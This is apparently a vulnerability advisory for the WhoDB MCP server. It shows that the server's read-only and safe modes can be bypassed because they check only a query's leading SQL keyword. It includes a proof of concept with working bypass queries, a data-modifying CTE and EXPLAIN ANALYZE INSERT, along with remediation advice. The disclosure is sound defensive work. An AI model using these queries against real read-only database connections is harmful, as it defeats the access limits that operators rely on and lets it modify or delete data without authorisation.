MCP server read-only / safe mode can be bypassed to perform arbitrary writes (data-modifying CTE and EXPLAIN ANALYZE)
Description
When the WhoDB MCP server is started in read-only mode (whodb-cli mcp serve --read-only, or --safe-mode which is read-only plus strict), the read-only guarantee for the whodb_query tool is enforced only by an application-layer SQL string classifier. The classifier decides the statement type from the leading SQL keyword and allow-lists WITH and EXPLAIN statements without inspecting the statement body. There is no database-level read-only control on the execution path, so a statement that is classified as read-only but actually performs a write is executed and committed. A client restricted to read-only MCP access can therefore perform arbitrary INSERT, UPDATE, and DELETE operations, defeating the security property the mode advertises.
Details
In cli/pkg/mcp/validation.go (verified at commit 44099a29ea73baa0a3e5465c68dd20e6eb3957d2):
Statement type is decided by leading-keyword prefix (lines 85-90):
{"DESC ", StatementDescribe}, {"EXPLAIN ", StatementExplain}, {"WITH ", StatementWith}, ... if strings.HasPrefix(q, k.kw) { return k.typ }
Read-only mode allow-lists those types and returns nil (allowed) without inspecting the body (lines 156-158):
switch stmtType { case StatementSelect, StatementShow, StatementDescribe, StatementExplain, StatementWith: return nil
The execution path applies no database-level read-only control:
cli/pkg/mcp/tools.go:393callsmgr.ExecuteQuery(query)core/src/plugins/gorm/plugin.go:635runsrows, err := db.Raw(query, params...).Rows()with noSET TRANSACTION READ ONLYand no read-only role or replica.
The classifier does block -- and /* comments, multiple statements (;), and DROP /TRUNCATE substrings, but WITH ... and EXPLAIN ANALYZE ... pass because the leading keyword drives classification even when the body modifies data.
PoC
Both queries pass the --read-only validator and commit writes.
- PostgreSQL with a test table:
CREATE TABLE t(id int primary key, v text); INSERT INTO t VALUES (1,'orig'),(2,'orig'),(3,'orig');
- Start the MCP server in read-only mode against that database:
WHODB_POSTGRES='[{"alias":"test","host":"127.0.0.1","user":"postgres","password":"...","database":"testdb","port":"5432"}]' whodb-cli mcp serve --read-only --transport http --host 127.0.0.1 --port 8088
- Call the
whodb_querytool with each query:
- control:
SELECT count(*) FROM t-> allowed (read) DELETE FROM t WHERE id=1-> rejected ("write operations are not allowed in read-only mode: DELETE")WITH x AS (DELETE FROM t WHERE id=2 RETURNING *) SELECT * FROM x-> allowed, row id=2 deletedEXPLAIN ANALYZE INSERT INTO t VALUES (99,'pwned')-> allowed, row id=99 inserted
Database state checked by a direct query (not through the MCP server): before {1,2,3}, after {1,3,99}. The direct DELETE is blocked, confirming read-only mode is active; the two allow-listed statement types perform real writes regardless. This is an enforcement defect, not a documented design choice: the server's own security model explicitly rejects INSERT/UPDATE/DELETE.
Impact
CWE-863 (incorrect authorization) / incomplete read-only enforcement. Any party with read-only MCP access to a WhoDB-managed database can modify or delete data, defeating the read-only and safe-mode guarantee. Backends executed via the db.Raw path (PostgreSQL, MySQL/MariaDB, SQLite) are affected; verified on PostgreSQL.
Suggested remediation
- Enforce read-only at the database layer for read-only and safe mode: run the query connection in a read-only transaction (
SET TRANSACTION READ ONLY) or under a least-privilege read-only role, so classifier gaps cannot result in writes. - If keeping the classifier as defense in depth, inspect the full statement rather than only the leading keyword: scan CTE bodies for data-modifying sub-statements, and reject
EXPLAIN ANALYZEof DML in read-only mode.